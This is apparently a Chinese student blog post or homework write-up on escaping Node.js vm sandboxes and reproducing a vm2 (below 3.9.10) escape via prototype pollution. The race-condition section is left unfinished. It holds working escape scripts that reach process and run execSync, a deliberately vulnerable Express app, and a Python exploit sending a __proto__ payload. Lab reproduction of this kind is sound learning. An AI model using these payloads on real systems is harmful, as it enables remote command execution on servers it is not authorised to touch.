沙箱逃逸和竞争性漏洞复现

目录

沙箱逃逸

        原理

        当this指向window

        当this指向null,且没有其他对象可用

              第一种触发方法

              第二种触发方法

              第三种触发方法

漏洞复现

竞争性漏洞


沙箱逃逸

        原理

        当this指向window

        1.this直接指向window,拿到window的tostring的constructor来利用构造函数拿到process

                是对象且指向沙箱外部,才可以利用

const vm = require('vm');
const script = `
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

        当this指向null,且没有其他对象可用

               使用arguments.callee.caller在沙盒内定义一个函数并返回,让外部对象调用这个函数,此时arguments.callee就是该对象了,然后再用constructor利用构造函数拿到process

                arguments.callee就是调用函数本身(可以理解成等于函数本身,但没有指向)

                arguments.caller就是指谁调用了自己(指向一个函数)

                arguments.callee.caller就是指向了某个调用自己的方法,这样就可以通过处在沙箱外的这个方法的构造函数拿到process了

               第一种触发方法

        此时要触发这个tostring方法,就需要沙箱外有执行字符串的相关操作,

        可以console.log('hello' + res),来利用拼接的方式让res变成一个字符串

        因为在js中,例如this、对象等和字符串拼接都会自动调用tostring方法然后变成一个字符串 

        自然就触发了tostring方法了

const vm = require('vm');
const script =`(() => {  

  const a = {}  
  
  a.toString = function () {    
  
  const cc = arguments.callee.caller;    
  
  const p = (cc.constructor('return process'))();   
  
   return p.mainModule.require('child_process').execSync('whoami').toString()  
  
  }  
  
  return a })()`;
const sandbox = { m: {}, n: 2, x: /regexp/};
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('hello'+res);

                

               第二种触发方法

        用proxy来劫持所有属性,只要沙箱外使用了例如console.log(res.xxx)就会被proxy劫持,然后就会触发上述代码

const vm = require('vm');
const script =`(() => {  

  const a = new Proxy({}, { 
  
  get: function() {      
  
  const cc = arguments.callee.caller;      
  
  const p = (cc.constructor('return process'))();     
  
   return p.mainModule.require('child_process').execSync('whoami').toString()
  
  }  
  
  })    
  
  return a })()`;
const sandbox = { m: {}, n: 2, x: /regexp/};
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.xx);
第三种触发方法

        利用异常处理,把沙箱内的对象跑出去,然后让外部捕捉异常,也可以触发

        

vm = require('vm'); 

const code5 = `throw new Proxy({}, {    

 get: function() {     

  const cc = arguments.callee.caller;      

 const p = (cc.constructor.constructor('return process'))();      

  return p.mainModule.require('child_process').execSync('whoami').toString()    

 }  

 }) `; 

try {    vm.runInContext(code5, vm.createContext(Object.create(null))); }

 catch(e)

 {    console.log('error happend: ' + e); }

漏洞复现

        import逃逸结合原型污染

1.

  条件:

        vm2版本:3.9.10以下

  源码:

const express = require('express');
const app = express();
const { VM } = require('vm2');
 
app.use(express.json());
 
const backdoor = function () {
    try {
        new VM().run({}.shellcode);
    } catch (e) {
        console.log(e);
    }
}
 
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}
 
 
app.get('/', function (req, res) {
    res.send("POST some json shit to /.  no source code and try to find source code");
});
 
app.post('/', function (req, res) {
    try {
        console.log(req.body)
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.shit) {
            backdoor()
        }
        res.send("post shit ok")
    }catch(e){
        res.send("is it shit ?")
        console.log(e)
    }
})
 
app.listen(3000, function () {
    console.log('start listening on port 3000');
});

思路:看到vm说明处在沙箱中,要逃逸出沙箱就得找到一个外部对象

        看到post提交这里,要执行backdoor函数,就要满足条件:

        要有shit,且shit值为1

        根据源码显示,body又是用户输入的,然后利用clone函数里的merge结合赋给一个空对 象,那么就可以污染空对象的原型,加上一个shit属性值为1.

        这样就能触发backdoor了

 
app.post('/', function (req, res) {
    try {
        console.log(req.body)
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.shit) {
            backdoor()
        }
        res.send("post shit ok")
    }catch(e){
        res.send("is it shit ?")
        console.log(e)
    }
})

      现在看backdoor函数:

        空对象里有一个shellcode属性,在上面我们已经可以污染空对象的原型了,那就继续添加一个shellcode属性,值就要逃逸出沙箱了,可以使用import来动态导入对象

        注:3.9.10以后的版本已经通过将import过滤修复了

const backdoor = function () {
    try {
        new VM().run({}.shellcode);
    } catch (e) {
        console.log(e);
    }
}

利用python发送post:

import requests
import json

url = "http://127.0.0.1:3000/"

headers = {"Content-type": "application/json"}

data = {"shit": "1", "__proto__": {"shellcode": "let res = import('./app.js')\n    res.toString.constructor(\"return this\")\n    ().process.mainModule.require(\"child_process\").execSync('whoami').toString();"}}

req = requests.post(url=url, headers=headers, data=json.dumps(data))

print(req.text)

复现成功:

       

竞争性漏洞(未完成)

        环境:利用django搭建项目,参考官方文档:GitHub - cookiecutter/cookiecutter-django: Cookiecutter Django is a framework for jumpstarting production-ready Django projects quickly.

官方文档-本地配置:

Getting Up and Running Locally — Cookiecutter Django 2023.31.3 documentation

访问页面:

       登录后:

 暂时到这一步,未复现成功,先提交作业,后面做好了继续修改

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值